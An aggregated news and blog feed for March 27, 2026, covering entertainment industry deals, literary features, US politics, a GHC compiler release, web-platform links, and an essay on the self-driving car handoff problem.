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Notable links: March 27, 2026

Progress on the open social web; not so much in the world.

@Dave Winer's linkblog

Claude Code can now dream.

Netflix Loses Appeal Over Local Production Obligations In Belgium But Court Leaves Door Open For Legal Debate

Belgium’s Constitutional Court has rejected a Netflix appeal opposing local production investment obligations in the country’s French-Speaking Wallonia-Brussels region. Netflix filed the appeal last summer in response to a 2024 decision by the Wallonia-Brussels Federation (FWB) to oblige streamers operating in the region to invest up to 9.5% of their turnover in the territory in […]

The Worst and the Dumbest

Has the U.S. military been Kudlowized?

Why Knight Foundation Invested in Bluesky

Newsrooms have been slow to care about the open social web - but one of their most important support organizations is paying attention.

International Insider: The Potterverse Reawakens; Series Mania; ‘SNL UK’ Defies Expectations

Scoopio! Harry Potter waved his magic wand on Wednesday and became the talk of the industry, while Deadline headed to France for the influential Series Mania Forum. Jesse Whittock here taking you through a hugely significant week for international film and TV. Read on and sign up here. Potterverse Reawakens You’re a TV star, Harry: So […]

If privacy matters to you, this is a required assignment

I’m kinda proud of the stars we’ve been bringing to our salon series here at Indiana University since 2021. And there are none I’m more excited to welcome than Helen Nissenbaum, who will be here on Tuesday to speak both in person and on Zoom. The title of her talk is “Why Obfuscation is (still) […]

Steve Marriott & Band Small Faces Subject Of Movie Biopic ‘All Or Nothing’

EXCLUSIVE: Rock and Roll Hall of Famer Steve Marriott and his influential 1960’s British band Small Faces are the subject of a new music biopic called All Or Nothing. Marriott, who almost set up a band with good friend David Bowie, became a mod style icon and Small Faces had a string of hits first […]

International Disruptors: Jo Nesbø Steps Into The Driver’s Seat For Netflix’s ‘Detective Hole’: “It’s Been An Emotional Rollercoaster”

Welcome to Deadline’s International Disruptors, a feature where we shine a spotlight on key executives and companies outside of the U.S. shaking up the offshore marketplace. This week we’re talking to famed Norwegian crime author Jo Nesbø whose novels, which include Headhunters, The Night House and his beloved Harry Hole detective series, have sold more than 60 […]

Savannah Guthrie Sets Return To ‘Today’ Amid Mother’s Disappearance: “I Can’t Not Come Back, Because It’s My Family”

Savannah Guthrie will return to Today on April 6, having been absent from the show after the disappearance of her mother, Nancy. Guthrie said that doing the show again will be returning to a team that is like her family, with the tight bonds between the anchors and hosts often expressed on air. “It’s hard […]

Brandon Wilson, Alfre Woodard, Soap Collins, Aaron Holliday & Rapper Mavi Set For Maria Belafonte’s ‘Pockets Of Heaven’

EXCLUSIVE: Brandon Wilson (Nickel Boys), model Soap Collins, and Aaron Holliday (Sharp Objects) are starring in Pockets of Heaven, the feature directorial debut of Maria Belafonte, granddaughter of Hollywood icon and civil rights trailblazer Harry Belafonte. Joining the ensemble are Oscar nominee Alfre Woodard (12 Years a Slave), along with Jonas Gindin (Lurker) and Gilberto […]

@Dave Winer's linkblog

Podcasting’s Missing Link.

ODF is the future, OOXML is the past

Whenever a user, a government, a school or a business chooses the format in which to store and exchange its digital documents, it is not merely making a technical decision, but is placing a bet on the kind of digital infrastructure on which it will depend in the future. In

Poll: 1 out of 8 Trump voters has buyer’s remorse about 2024

In our new poll, 13% of Donald Trump's 2024 voters say they regret their vote last cycle. In a hypothetical redo, Kamala Harris wins by nearly 3 points.

MHz Choice Acquires South African Drama ‘Cousins,’ Based On True Crime Case, For U.S. Launch

EXCLUSIVE: MHz Choice will show acclaimed South African crime drama Cousins in North America. The streaming service will launch the Afrikaans-language series in August. The drama is based on the true story of two 12-year-old female cousins, Issie Fourie and Petro Nel, who were kidnapped from a sleepy town in South Africa’s Free State in […]

Weekly Roundup: March 27

Sam Moyn and Jamelle Bouie on legislative supremacy, Mariano Féliz on how Argentina's debt sustainability, Ntina Tzvouala on dollar hegemony (x2), Ivana Isailović on the LPE of Social Reproduction in the EU, Mohini Mookim and Veryl Pow on prefigurative lawyering, Adam Hanieh on the economic significance of the Strait of Hormuz, and JW Mason on his forthcoming book.

The End of Immigration

Americans despise ICE, but it’s “succeeding” nonetheless

Lit Hub Daily: March 27, 2026

Langston Hughes, translator? Ricardo Wilson II explores the writer’s experience in Mexico and his struggle to bring Mexican and Cuban writers to American audiences. | Lit Hub Biography “Alongside noting each season’s nod to diversity, there has been a steady

What do you do when you can't trust the government?

The haze of contradictions and confusion is a feature, not a bug.

Going to Tullamore. brb

Going to Tullamore. brb

Eva Longoria Expresses Fears Over WBD-Paramount Merger: “The Consolidation Is The Scary Part Of It”

Eva Longoria has waded into the debate over the potential impact of the Warner Bros. Discovery-Paramount merger, expressing her fears over how the consolidation will impact jobs and diversity. “The consolidation is the scary part of it…  especially when you see a consolidation, you see a massive amount of job loss of creatives… because it […]

Tim Davie Lands First Gig After Leaving BBC

BBC Director General Tim Davie hasn’t quite left yet, but he already has his next role. Davie will become co-chair of the Creative Industries Council, replacing ex-ITV chair Peter Bazalgette, who steps down August 1. Davie will lead the council alongside co-chairs Culture Secretary Lisa Nandy and Business Secretary Peter Kyle. Under Davie, the council […]

SXSW London Unveils Themes & Speakers Including Tom Quinn, Scott Z. Burns, GK Barry, Bluesky’s Rose Wang & Synthesia’s Victor Riparbelli

SXSW London will be doubling on down on its ambitions to be a creative and tech cross-pollinator in its second edition in the UK capital’s Shoreditch neighborhood this June. Taking a leaf from its 40-year SXSW parent event in Austin, the UK spin-off unveiled an eclectic conference program and speakers list on Friday, bringing together […]

Disney+ Strikes First-Of-Its-Kind Content Deal With Spain’s RTVE; Shows Like ‘MasterChef’ Will Drop On Streamer Straight After Linear Broadcast

Disney’s latest European content deal is a historic pact with RTVE that will see some of the Spanish broadcaster’s shows launch on Disney+ almost immediately after linear premiere. The deal for drama, entertainment and reality content is the first time in Europe a state broadcaster has agreed to make shows available on a streaming platform the day after […]

Breaking Baz: ‘Harry Potter’s’ John Tiffany Will Open ‘Wild Rose’ Musical At New York Theatre Workshop; Movie Helped Make Oscar Winner Jessie Buckley A Star

EXCLUSIVE: John Tiffany (Harry Potter and the Cursed Child, Black Watch) the Tony- and Olivier Award-winning director, has revealed to Deadline that his stage adaptation of the 2018 feature Wild Rose — a movie that helped propel recent Oscar winner Jessie Buckley’s early career — is to make its U.S. premiere Off-Broadway at New York Theatre Workshop […]

Take a Tour of Poet Maggie Smith’s Writing Space

My writing space was once my kids’ playroom. It’s a small room separated from our living room by glass-paned French doors, and the other three walls are completely wrapped in windows, so I’m surrounded by glass when I’m working in

Is Bridgerton’s Diversity More Than Just Window Dressing?

In the sixth episode of Bridgerton’s third season, Lady Danbury (Adjoa Andoh) and her brother Lord Marcus Anderson (Daniel Francis) have a fraught and tender confrontation. She has been furious with him from the moment he shows up at one

19th-Century Blues: When Science Killed God and Made Some Englishmen Sad

With the Royal Navy ruling the waves, Queen Victoria safely on her throne, science explaining a confusing world, and British missionaries, explorers, and armies turning the map pink you’d think that the mid-19th-century English (or at least the upper classes)

Langston Hughes: Novelist, Poet, Activist and… Translator

In late 1934, Langston Hughes, already established as a leading voice of literary Black America, traveled to Mexico City, where he stayed for more than five months and began translating short fiction by prominent Mexican and Cuban writers, including Rafael

March’s Best Reviewed Nonfiction

Christopher Clark’s A Scandal in Königsberg, Ian Buruma’s Stay Alive, and Terry Tempest Williams’ The Glorians all feature among the best reviewed nonfiction titles of the month. Brought to you by Book Marks, Lit Hub’s home for book reviews. * 1.

Yann Martel on Playing with Form to Tell a Story

This first appeared in Lit Hub’s Craft of Writing newsletter—sign up here. Open as we might be to learning how to tell a story—parsing the books we love to see how the writer did it, reacting to the impressions of our

March’s Best Reviewed Fiction

Francis Spufford’s Nonesuch, Saba Sams’s Gunk, and Jordy Rosenberg’s Night Night Fawn all feature among the best reviewed fiction titles of the month. Brought to you by Book Marks, Lit Hub’s home for book reviews. * 1. Nonesuch by Francis Spufford

Spring Arrives on The Lit Hub Podcast!

A monthly behind-the-scenes dive into everything interesting, dynamic, strange, and wonderful happening in literary culture—featuring Lit Hub staff, columnists, and special guests! Hosted by Drew Broussard. Slop-pocalypse now! Oh yes, folks, the AI nonsense continues to accelerate and Drew has

The Shipikisha Club

Sali – 2003 There is a time for everything and a season for every activity under the heavens. Ecclesiastes 3:1 Nodding to a languid R&B composition pouring out of the speakers into the hot air in the car before the

Office Hours: Will You Protest Tomorrow?

And why or why not?

A Note to My Readers: What Happened After

Emergency Dispatch

March 26, 2026

In an interview with Reuters on Monday, Singapore’s minister for foreign affairs, Dr.

Thrust Day

Some public notes:::: In The Ozempicization of the Economy, Kyla Scanlon discusses "the shift from infrastructure that served everyone to technologies built around the mobile, private individual." She concludes, "Despair right now is extremely convincing and extremely profitable. Hope would be the opposite – something that doesn't need you to feel desperate in order to work." […]

Friday 27 March, 2026

Big Mac In — of all places — Venice! A pre-Trump example of American ’soft power’? Quote of the Day ”Power, in a nutshell, is the ability to get things done, and politics is the ability to decide which things … Continue reading →

331: Stardust. Deep sea mining 🚫. Child mortality. Mexico 💖🌈

At the backbone of the world, where the water begins.

@Dave Winer's linkblog

Trump’s Signature Set to Be Added to America’s Currency.

GHC 9.12.4 is now available

GHC 9.12.4 is now available

wz1000 - 2026-03-27

The GHC developers are very pleased to announce the release of GHC 9.12.4. Binary distributions, source distributions, and documentation are available atdownloads.haskell.org and via GHCup.

GHC 9.12.4 is a bug-fix release fixing many issues of a variety of severities and scopes, including:

• Fixed a critical code generation regression where sub-word division produced incorrect results ( #26711, #26668), similar to the bug fixed in 9.12.2

• Numerous fixes for register allocation bugs, preventing data corruption when spilling and reloading registers ( #26411, #26526, #26537, #26542, #26550)

• Fixes for several compiler crashes, including issues with CSE ( #25468), and the simplifier( #26681), implicit parameters ( #26451), and the type-class specialiser ( #26682)

• Fixed cast worker/wrapper incorrectly firing on INLINE functions ( #26903)

• Fixed LLVM backend miscompilation of bit manipulation operations ( #20645, #26065, #26109)

• Fixed associated type family and data family instance changes not triggering recompilation ( #26183, #26705)

• Fixed negative type literals causing the compiler to hang ( #26861)

• Improvements to determinism of compiler output ( #26846, #26858)

• Fixes for eventlog shutdown deadlocks ( #26573) and lost wakeups in the RTS ( #26324)

• Fixed split sections support on Windows ( #26696, #26494) and the LLVM backend ( #26770)

• Fixes for the bytecode compiler, PPC native code generator, and Wasm backend

• The runtime linker now supports COMMON symbols ( #6107)

• Improved backtrace support: backtraces for error exceptions are now evaluated at throw time

• NamedDefaults now correctly requires the class to be standard or have an in-scope default declaration, and handles poly-kinded classes ( #25775, #25778, #25882)

• … and many more

A full accounting of these fixes can be found in the release notes. As always, GHC’s release status, including planned future releases, can be found on the GHC Wiki status.

GHC development is sponsored by:

• Juspay
• QBayLogic
• Channable
• Haskell Foundation
• Serokell
• Well-Typed
• Tweag
• Dotcom-Monitor
• LoadView
• Web Hosting Buddy
• Find My Electric
• Standard Chartered
• UpCloud
• Mercury

We would like to thank these sponsors and other anonymous contributors whose on-going financial and in-kind support has facilitated GHC maintenance and release management over the years. Finally, this release would not have been possible without the hundreds of open-source contributors whose work comprise this release.

As always, do give this release a try and open a ticket if you see anything amiss.

Ask a nerd: what is the best way to unsubscribe from newsletters?

The email feature that got added because people kept marking email newsletters as junk.

15 Years of Forking

Today marks 15 years of Waterfox!

Tomorrow, 1pm EDT - Hopium Founding Members "Most Fridays" Get Together

Friends,

@Dave Winer's linkblog

Manila’s streets empty as fuel prices surge amid Strait of Hormuz crisis.

Release Notes for Safari Technology Preview 240

Safari Technology Preview Release 240 is now available for download for macOS Tahoe and macOS Sequoia.

@Dave Winer's linkblog

Now Trump Officials Are Choosing to Talk About ICE At the Polls.

The Virtuecratic Machine on Bluesky

A Crisis Dispatch

Indivisible's Ezra Levin On No Kings, Letting Go, And Building A Mass Pro-Democracy Movement In America

As we get ready for No Kings this weekend sending along my recent discussion with Indivisible's Ezra Levin, where he talks about the evolution of No Kings into the largest mass movement in US history

A Surprise for Trump

But not the good kind

For Me, PFLAG Is Personal

The mission of PFLAG has never been more vital than it is today

Why we trust real polls over prediction markets

Elliott and David prefer data about humans over betting markets and AI polls

@Dave Winer's Scripting News

rss.network sounds nice. What would it be?

The Catastrophe of Trump’s War

And Its Mounting Costs

I’ll Write Tomorrow [en]

[en] I set a timer for 30 minutes, with the intent of churning out a quick blog post. I’m all over the place, I have stuff to dump. I’m struggling, but my head is still out of the water, thankfully. Well, I figured I’d close some tabs before writing, because I have windows full of … Continue reading "I’ll Write Tomorrow [en]"

Beeper + RSS, please

When I heard about Matt's product Beeper I thought wow what if that were on the RSS network.

I think RSS should be here. Makes sense doesn't it?

Why not an open independent format from nowhere that no one objects to you using and will not do anything ever to turn you off. It seems it would be fairly easy to add two-way support. :-)

The Great CSS Expansion | Butler’s Log

Web development follows a familiar cycle. First we glue together a solution with whatever we have — JavaScript, image hacks, Flash, anything. Then the platform matures, and CSS or HTML eventually makes that same workaround native. Rounded corners, custom fonts, smooth scrolling, sticky positioning: all of these started as JavaScript-heavy hacks before CSS turned them into a single declaration.

We are in another one of those transition moments. A new wave of long-requested CSS features is finally landing, and many of them are explicitly designed to replace patterns that used to require JavaScript. Not as approximations — as first-class platform primitives that handle the edge cases, run in the right thread, and need zero dependencies.

adactio.com/links/22492

Progressive Web Components | Ariel Salminen

I’m slapping my forehead—progressive web components is a perfect name for what I’ve been calling HTML web components. Why didn’t I think of that?

A Progressive Web Component is a native Custom Element designed in two layers: a base layer of HTML and CSS that renders immediately, without JavaScript, and an enhancement layer of JavaScript that adds reactivity, event handling, and more advanced templating.

adactio.com/links/22491

Ads in Apple Maps

Joe Rossignol (Hacker News): Apple is “exploring” the idea of showing search ads in the Apple Maps app, according to Bloomberg’s Mark Gurman. […] Ads in the Apple Maps app would not be the traditional banner ads that you see on websites, but rather paid search results. For example, a fast food chain could pay […]

Apple Business

Hartley Charlton: Apple today announced Apple Business, a new all-in-one platform that unifies device management, productivity tools, and customer outreach features. The service is designed to be a consolidated replacement for several of Apple's existing business-focused offerings, including Apple Business Essentials, Apple Business Manager, and Apple Business Connect. It provides organizations with a single interface […]

Discontinuing Sora

Juli Clover (Hacker News): OpenAI today said that it is ending support for its Sora AI video app just six months after it initially launched. Kyle Orland: The announcement comes days after leaked news of an OpenAI all-hands meeting in which company executives reportedly said they were refocusing on business and productivity applications rather than […]

@IIIF Mastodon feed

Registration for the 2026 #IIIF Annual Conference and Showcase closes on May 14, 2026.

Space for some workshops is filling up fast, so claim your spot by registering: https://www.conftool.org/iiif2026

Announcing Babylon.js 9.0

Our mission is to build one of the most powerful, beautiful, simple and open web rendering engines in the world. Today, we are thrilled to announce that mission takes a monumental leap forward with the release of Babylon.js 9.0.

https://www.youtube.

The post Announcing Babylon.js 9.0 appeared first on Windows Developer Blog.

@Dave Winer's linkblog

All airports are depressing and scary; some go above and beyond.

@Dave Winer's linkblog

Iran says Trump negotiating with himself.

Jargon Sucks

I have been a writer long enough to know this in my bones: jargon sucks. It is a crime against writing. It abuses your readers and your listeners. And it is a sure sign you do not know what the heck you are talking about. If you cannot explain something in plain terms to your …

@Dave Winer's linkblog

I don't trust the predictions that software developers will be obsolete. The culture of Silicon Valley encourages this kind of chest thumping.

Depression And Paradise

Writing of lasting value

Jennifer Welch: Outspoken, Unapologetic, and Unafraid in Divided America

Jennifer Welch doesn’t tiptoe around power—she confronts it, questions it, and, when necessary, torches it with humor.

@Robert's feed at BlueSky

My Raspberry Pi 500+ just works, my Mac running macOS so much less than it used to.

@Dave Winer's Scripting News

This piece explains the tragedy of how we've set up communication using our networks, all based on exclusive products, rather than standards which mean you can use whatever software you want for more and more of your communication.

@Dave Winer's linkblog

When the Supreme Court let a president get away with redefining birthright citizenship.

@Dave Winer's linkblog

California Regulator Says Tesla's 'Robotaxis' Are More Like a Limo in the Eyes of the Law.

Entrevista con Simón Mesa Soto: dejar de lado la oscuridad

Tras el recorrido de Un poeta por festivales y su consolidación como una de las películas colombianas más comentadas del último año, Simón Mesa Soto atraviesa un momento singular en su carrera. Su segundo largometraje, premiado en el Festival de Cannes 2025 y celebrado por su mezcla de humor y desasosiego, marca un giro respecto […]

La entrada Entrevista con Simón Mesa Soto: dejar de lado la oscuridad se publicó primero en Palomita de maíz.

@Dave Winer's Scripting News

Send this video to your favorite Democrat and let them know that we would pay money to have this video run as an ad running everywhere, exactly as-is, no editing, not made glamorous. This is the truth that absolutely is not getting out about the law the Repubs want. We need to communicate with each other using the amazing tools we have at our disposal now in the third decade of the freaking 21st century.

Introducing Rogue Scholar community dashboards

About 12 months ago Rogue Scholar introduced dashboards with summary statistics of the science blogging archive. At the end of 2025 these dashboards migrated to the Rogue Scholar landing page. Today Rogue Scholar is launching community dashboards – showing the same summary statistics by community.

@Dave Winer's linkblog

Car owners turn to EVs as 30-40% of Gulf energy capacity is destroyed.

@Dave Winer's Scripting News

My linkblog was down. Thanks to Scott Hanson it's back up!

Why Are the Wealthy Pouring So Much of Their Wealth into Politics?

It’s simple logic, and the logic holds a deeper lesson — and some good news

The Handoff Problem

SourceAround twelve years ago, Google figured out the fundamental problem facing Tesla's Fake Self Driving. Almost nine years ago in Robot Cars Can’t Count on Us in an Emergency, John Markoff wrote:

Three years ago, Google’s self-driving car project abruptly shifted from designing a vehicle that would drive autonomously most of the time while occasionally requiring human oversight, to a slow-speed robot without a brake pedal, accelerator or steering wheel. In other words, human driving was no longer permitted.

The company made the decision after giving self-driving cars to Google employees for their work commutes and recording what the passengers did while the autonomous system did the driving. In-car cameras recorded employees climbing into the back seat, climbing out of an open car window, and even smooching while the car was in motion, according to two former Google engineers.

Gareth Corfield at The Register added:

Google binned its self-driving cars' "take over now, human!" feature because test drivers kept dozing off behind the wheel instead of watching the road, according to reports.

"What we found was pretty scary," Google Waymo's boss John Krafcik told Reuters reporters during a recent media tour of a Waymo testing facility. "It's hard to take over because they have lost contextual awareness."

Follow me below the fold for a wonderful example of Tesla's handoff problem, and a discussion of the difference between Tesla's and Waymo's approaches to self-driving.

I wrote about this handoff problem in 2017's Techno-hype part 1. I did a thought experiment, imagining mass-market cars 3 times better than Waymo's at the time:

A normal person would encounter a hand-off once in 15,000 miles of driving, or less than once a year. Driving would be something they'd be asked to do maybe 50 times in their life.

Even if, when the hand-off happened, the human ... had full "situational awareness", they would be faced with a situation too complex for the car's software. How likely is it that they would have the skills needed to cope, when the last time they did any driving was over a year ago, and on average they've only driven 25 times in their life? Current testing of self-driving cars hands-off to drivers with more than a decade of driving experience, well over 100,000 miles of it. It bears no relationship to the hand-off problem with a mass deployment of self-driving technology.

I concluded:

But the real difficulty is this. The closer the technology gets to Level 5, the worse the hand-off problem gets, because the human has less experience. Incremental progress in deployments doesn't make this problem go away.

Raffi Krikorian:

used to run the self-driving-car division at Uber, trying to build a future in which technology protects us from accidents. I had thought about edge cases, failure modes, the brittleness hiding behind smooth performance. My team trained human drivers on when and how to intervene if a self-driving car made a mistake. In the two years I ran the division, we had no injuries in our early pilot programs.

He has an article in the current Atlantic entitled My Tesla Was Driving Itself Perfectly—Until It Crashed with the sub-head:

The danger of almost-perfect tech

As an enthusiast for slef-driving technology, Krikorian used it:

With my own Tesla, I started out using Full Self-Driving as the default setting only on highways. That’s where it makes sense: You have clear lane markers and predictable traffic patterns. Then, one day, I tried it on a local road, and it worked well enough to become a habit.

But, after three years:

My memory is hazy, and some of it comes from one of my sons, who watched the whole thing unfold from the back seat. The car was making a turn. Something felt off—the steering wheel jerked one way, then the other, and the car decelerated in a way I didn’t expect. I turned the wheel to take over. I don’t know exactly what the system was doing, or why. I only know that somewhere in those seconds, we ended up colliding with a wall.

He didn't have "situational awareness", even though he was an experienced driver aware of the handoff problem. He sums up the current problem, with drivers like him:

Full Self-Driving works almost all of the time—Tesla’s fleet of cars with the technology logs millions of miles between serious incidents, by the company’s count. And that’s the problem: We are asking humans to supervise systems designed to make supervision feel pointless. A machine that constantly fails keeps you sharp. A machine that works perfectly needs no oversight. But a machine that works almost perfectly? That’s where the danger lies. After a few hours of flawless performance, research shows, drivers are prone to start overtrusting self-driving systems. After a month of using adaptive cruise control, drivers were more than six times as likely to look at their phone, according to one study from the Insurance Institute for Highway Safety.

Imagine this problem compounded by handing off to a driver who hadn't driven in a year.

Google was building Level 4 robotaxis. Their conservative approach was to eliminate the handoff problem completely. Waymos operate on carefully mapped routes after much practice, and are equipped with a diverse set of sensors. Just as everywhere along their flight path, airliners have a designated diversion airport, Waymos know a safe place to stop and ask for help from remote humans. They don't drive the cars, they just advise the car as to how to solve the problem. This can, as I have seen a couple of times, cause frustration among other road users, but it is safe.

Tesla, on the other hand, had a Level 2 driver assist system with a limited set of sensors, which depended on handing off to the driver in case of confusion. They consistenly marketed it as "Full Self-Driving" with exaggerated claims about its capabilities, and sold it to normal, untrained drivers. They could not, and could not afford to, implement Google's approach. Why not?

• Scale: Tesla has 1.1M FSD customers, where six months ago Waymo had about 2K cars in service. To support them, Waymo has about 70 remote operators on duty. Of course, FSD is used much less intensively, lets guess only 5% as much. Even if, optimistically, Tesla's technology generated as few remote requests as Waymo's they would need almost 2,000 remote operators on duty.
• Technical: First, Tesla markets FSD as usable anywhere, even if their terms of service disagree. So they lack the detailed maps Waymos use when they need to find a safe place. Second, Tesla has far fewer sensors, so has much less information on which to base the need for and choice of a safe place.
• Marketing: There are two problems. First, telling the public that FSD will sometimes need to stop and ask for help goes against the idea that it is "Full Self Driving". Second, everyone can see that a Waymo is driving itself and can set their expectations to match. No-one can tell that a Tesla is using Fake Self Driving. So were Teslas stopping unexpectedly, even if it wasn't using Fake Self Driving, the assumption would be that the technology had failed.

Because Tesla has always depended upon handing off to the human, the result is that Tesla's minimal robotaxi service with "safety monitors" in Austin, TX crashes six times as often as human-driven taxis.

A Newsletter of Humorous Writing #436

For March 18-24, 2026

Hello and welcome to A Newsletter of Humorous Writing, a roundup of the week's finest short humor pieces and funny articles, and a celebration of the fantastic writers who wrote them. The one lesson we always tell people about jokes is that--

What We Enjoyed This Week

The Text of E-Mails from My Accountant vs. the Subtext by Lana Schwartz (The New Yorker) Lana is a great joke writer, and the format of “email and translation” makes for an excellent pattern of set-up and punchline. There’s also a subtle character game here, where Lana defines the accountant through specifics revealed in the subtext sections.

Self-Defense Techniques for Jazz Musicians by Brett Miller (McSweeney’s) This is a great title, simple and evocative. Brett’s execution is excellent too, maintaining enough distance from the jazz guys to land some fun, side-eying lines.

Automated Texts I’ll Receive on My Deathbed by Christian Worby (Points in Case) James here: I’m very insistent that all of my notebooks and diaries be burned when I die. Christian’s very funny piece about how your phone will never stop dinging is a reminder that I should probably add “smash all electronics” to that end of life to-do list, too.

My Week of Eating Literal AI Slop by Mia Mercado (The Cut) Mia is a great humor writer who has transitioned into writing more long form journalism, but this piece is a great example of how comedic instincts (a strong premise, clear format, and great specifics) can serve you in other forms.

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And feel free to send us an email if you have questions.

An Old Favorite

Philogelos (The Laughter Lover ) by Hierocles and Philagrios, tr. John T. Quinn (Diotima) This is a very old favorite, from the fourth or fifth century CE. Like joke books throughout history, these are very hit or miss, but there’s something uncanny about ancient one-liners about kissing someone with bad breath, or the thought that the jokes in the “Horny Women” section work in Rodney Dangerfield’s voice.

Do you have an Old Favorite of your own? Let us know by filling out this form and we may run your pick in a future edition of the newsletter.

Updates From Your Hosts and Friends of the Show

--it's all about timing.

More Encouraging Dem Wins, Trump's Three Vietnams, And A New Birth Of Freedom (New Video, Written Analysis)

Proud that Congressional Dems are holding the line on reining in ICE

Caltech Weekly - March 26: Antibiotic-Resistant Microbes; Welcoming the Class of 2030

Caltech Weekly - March 26: Antibiotic-Resistant Microbes; Welcoming the Class of 2030View this email in your browser

Thursday, March 26, 2026

Drought Leads to Increased Antibiotic-Resistant Microbes in Soils

Drought directly correlates with increased antibiotic-resistant infections in hospitals.

Caltech Offers Admission to the Incoming Class of 2030

The Institute released its final round of undergraduate admissions decisions, offering admission to 428 exceptional students.

Courting the Competition: Some Male Fruit Flies Serenade Each Other Rather Than Fight

Caltech researchers have pinpointed evolutionary changes in a species of fruit fly that exhibit male–male courtship behaviors, not aggression, when the insects are vying for resources.

"I couldn't be happier with the video. I hope that it managed to highlight some of the great plant-based options that exist not too far away from us. I hear sometimes that people have this misconception of what plant-based food can be, and they think it's rather boring or whatever, but hopefully we managed to show some variety and some excitement with the options that exist around us."

Elena Priesen Reis, a fourth-year graduate student in materials science, serves as the chair of the Graduate Student Council (GSC) Sustainability Committee, is the graduate student representative on the Caltech Sustainability Advisory Council, and is the coordinator of Plant-Based Caltech. In February 2026, she and the GSC Sustainability Committee won $1,000 in Zipcar driving credit, a $2,000 donation to Plant-Based Caltech, and a $2,000 donation to the Caltech General Scholarship Fund through the Zipcar Students with Drive competition.

This Week's Other Top Stories

Scholarship Unlocks New Opportunities

In Case You Missed It

View recent lectures and events on Caltech's YouTube channel.

History of Astronomy, from Ancient China to Modern Telescopes, and Astronomical Transients Explained

Caltech graduate student and astronomer Sam Rose recently discussed the observations of an exploding star by Chinese astronomers in 1054 CE as well as the first large-scale surveys of the sky on photographic plates from Mount Wilson and Palomar observatories, and more.

Did You Know?

Caltech scientists have developed a new way to produce optical frequency combs—important tools in devices that keep time and measure distances very precisely—at the chip scale. The advance should make it easier to incorporate such combs in optical devices and more practical to use them outside the laboratory. Ninety years ago today, the massive 200-inch glass disk for the Hale Telescope , cast at Corning Glass Works in New York, was loaded onto a custom railroad car to begin its journey across the country to Caltech's optical shop in Pasadena. Crowds gathered along the tracks across the US to see the "Big Eye" pass by during its two-week transit.BlueskyCaltech.eduFacebookInstagramLinkedInXYouTubeConnect with CaltechThe Caltech Weekly is published by the Office of Communications and External Relations. Copyright ©2026 All rights reserved. Send feedback and story ideas for the newsletter to theweekly@caltech.edu.

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Back in the Straddle Again

New frontiers for reality In case you’re wondering how MyTerms will change everything (for example, by getting you real privacy online and obsolescing cookie notices), the first proofs-of-concept will be coming from JLINC. Here’s the open protocol. Here’s the blog. And here’s Iain Henderson’s blog, which does a great job of explaining how MyTerms opens paths […]

What They’re Hoping You Don’t Notice in Congress This Week: TSA Standoff, SAVE Act, and More

A lot happened. Here’s what actually matters once you cut through the noise.

Make Space for Every Voice

"If you want stronger decisions, make space for every voice." This is a simple technique to do this in your meetings that really works.

@Pleiades STOA at hcommons.socal

Export Updates 2026-03-26:

Pleiades gazetteer of ancient places

19 new and 41 updated places.

1. Downloads: https://pleiades.stoa.org/downloads

2. pleiades.datasets: https://github.com/isawnyu/pleiades.datasets:

"main" branch:

bc1530b5 - updated json

no change: rdf/ttl

9c3c6037 - updated gis package

ce767cda - updated data quality

dcff4d55 - updated bibliography

688219ba - updated indexes

9f881153 - updated sidebar

3. pleiades-geojson: https://github.com/ryanfb/pleiades-geojson:

0109d915 - updated geojson and names index

4. pleiades_wikidata: https://github.com/isawnyu/pleiades_wikidata/:

cfd05d69 - updated pleiades wikidata

What The AI Consciousness Question Conceals

The post What The AI Consciousness Question Conceals appeared first on NOEMA.

Bleecker Street’s Crosswalk & LD Entertainment Acquire West End Live Version Of ‘Hadestown’

Bleecker Street’s event cinema division Crosswalk has teamed with LD Entertainment to acquire North American and English-speaking territories for the West End live theater-shot Tony Award-winning hit musical Hadestown. A July 24 theatrical release has been set and a UK date will be announced in the near future. The filmed-lived production reps the first of […]

The Document Foundation announces the simultaneous availability of LibreOffice 26.2.2 and LibreOffice 25.8.6

Berlin, 26 March 2026 – The Document Foundation today announces the simultaneous release of LibreOffice 26.2.2 and LibreOffice 25.8.6. These two maintenance updates are respectively targeted to technology savvy and power users, and to users in production environments. Specific options are available from ecosystem companies for enterprise deployments. Thanks to

@Dave Winer's Scripting News

If you're using FeedLand and running a WordPress blog, you can install a blogroll just like the one I have at scripting.com or blogroll.social.

BBC Warns Of “Difficult” Content & Service Cuts As It Targets Savings Worth Hundreds Of Millions

The BBC has sounded the alarm about potentially significant content cuts. In its annual plan published on Thursday, the British national broadcaster confirmed plans to slash its cost base by 10% over the next three years, which is on top of an existing savings strategy worth £700M ($932M). The BBC has only defined the savings […]

@Dave Winer's Scripting News

My linkblog is down. Still diggin!

Raspberry Pi Pico–powered sunrise alarm clock

This Raspberry Pi Pico–powered sunrise alarm clock did wonders for one couple's sleep patterns — and their wallets.

The post Raspberry Pi Pico–powered sunrise alarm clock appeared first on Raspberry Pi.

Berlin Winner ‘Rose’, Starring Sandra Hüller, Sells To Mubi For North America, UK, Lat Am, Italy & More

EXCLUSIVE: Berlin winner Rose, which stars Oscar nominee and European actress-of-the-hour Sandra Hüller, has been picked up by Mubi for all rights in North America, UK, Ireland, Italy, Turkey, Latin America, Australia and New Zealand. Markus Schleinzer’s black-and-white period critical hit had its world premiere in competition at the Berlinale and won Hüller the festival’s […]

‘Jeopardy!’ Launches Spinoff On YouTube

Jeopardy! is moving with the times with its latest spinoff. The long-running gameshow is launching a special edition for YouTube. It marks the first step in a larger expansion of the Jeopardy! YouTube channel. Ken Jennings is hosting Jeopardy! YouTube Edition, which will debut on the Google-owned service on March 31. The episode will see three YouTube creators […]

Isiah Whitlock Jr. Stars Alongside Aunjanue Ellis-Taylor & Saoirse-Monica Jackson In ‘The Body is Water’, His last On-Screen Performance — First Look

EXCLUSIVE: Production has wrapped on The Body is Water, the latest feature from Irish filmmaker Vicky Wight, starring Aunjanue Ellis-Taylor and Isiah Whitlock Jr. in his last on-screen performance. Check out a first look image from the film above. The Body is Water is currently in post-production. Also starring are Saoirse-Monica Jackson, Stephen Rea, Aidan Quinn, […]

Patrick Bruel: Third Woman Files Sexual Assault Complaint Against French Star

A third woman has filed a sexual assault complaint against French singer and actor Patrick Bruel, adding to a growing list of allegations against the star which his lawyer has said are unfounded. Former Belgian press attaché Karine Viseur announced that she had filed a complaint against Bruel, related to events which took place in […]

Bill Maher To Receive Kennedy Center’s Mark Twain Prize After All, Even Though White House Previously Deemed It “Literally Fake News”

